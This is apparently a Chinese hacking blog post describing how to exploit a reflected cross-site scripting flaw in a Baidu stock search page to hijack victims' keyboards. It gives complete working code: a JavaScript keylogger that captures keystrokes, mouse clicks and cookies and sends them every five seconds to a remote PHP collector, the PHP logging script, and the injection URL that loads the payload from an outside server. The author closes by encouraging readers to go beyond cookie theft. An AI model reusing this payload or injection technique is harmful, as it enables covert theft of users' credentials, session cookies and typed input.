作者 菲哥哥

这个跨站是2月大牛发现的,我说一下大牛的利用过程和一些实现劫持键盘。

这个跨站是在搜索时候对输入的信息过滤不到位造成的,如图1

《百度跨站利用》

下面进入重点劫持键盘,实现思路,在跨站语句里远程调用远程服务器上的js.txt然后在客户端执行,记录客户端输入的信息然后写到远程服务器record.txt 文件里,  要用到的文件一个xss.php文件和js.txt文件.

js.txt代码:
var keys='';  //储存键盘鼠标记录
var hacker = ' http://www.xxxxx.com/upfiles/2010/xss.php' ';
var Url = window.location;
var Domain = document.domain;
var Cookie = document.cookie;


document.onkeypress = function(e) {   //劫持键盘消息
        get = window.event ? event:e;
        key = get.keyCode ? get.keyCode : get.charCode;
        switch(key){
                case 32 : key = '[Space]';break;
                case 13 : key = '[Enter]';break;
                default :
                        key = String.fromCharCode(key);
                        keys += key;
        }
}

window.onload = function(){  //窗口加载后发送cookie
        SendData(hacker + '?txt=' + Cookie);
}
document.onmousedown = function(e) {
        get = window.event ? event : e;  //创建事件对象
        var mousekey = get.button;   //获取鼠标键代码
        switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键
                 case 1 :
                        mousekey = '[Left Mouse Clik]';break;
                 case 2 :
                        mousekey = '[Right Mouse Clik]';break;
                 case 4 :
                        mousekey = '[Roll Mouse Clik]';break;
                 default :
                        mousekey = '[Unknown Mouse Key]';
        }
        keys += mousekey;
}
function SendData(src){
        new Image().src = src;  //建立图片对象用于发射数据
}
setInterval(function(){ SendData(hacker + '?txt=' + keys);keys = ''; },5000);  //每五秒发送一次键盘记录,初化变量

js.txt的作用主要就是实现键盘记录,上面代码已经跟出来注释我就不多解释了。

Xxs.php 代码:

<?php
$txt = $_GET[txt];  //获取txt的值
if($txt) //判断那个变量存不存
{
        $f = fopen("record.txt","a+"); // record.txt要打开文件的url  'a+' 读写方式打开,将文件指针指向文件末尾
        fwrite($f,$txt); //$f是一个指针,对fwrite来说,是要输出数据的地址   $txt要写入的字节数;
        fclose($f); //关闭
}

?>

XSS.php文件的作用就是把接收到的值写到record.txt文件 ,上面我也跟出来代码的详细的注释。

实战测试开始。。。。。。。。。
Js.txt在远程服务器的位置http://www.xxxxxupfiles/2010/js.txt

现在我们执行在浏览器执行
http://baidu.xxx.com/stock/code.php?code=fuckbaidu"><script+src="http://www.ningbokids.com/upfiles/2010/js.txt"></script><link+a="&c=9

然后我在搜索框输入“feitest如图2

《百度跨站利用》

然后访问http://www.xxxxxxx.coms/2010/record.txt 成功把客户端输入的信息写到了record.txt文件里如图3

《百度跨站利用》

我在这只是抛个砖,剩下的大家自由发挥在利用XXS的时候别值局限于盗取cookie什么的大胆的去创新吧。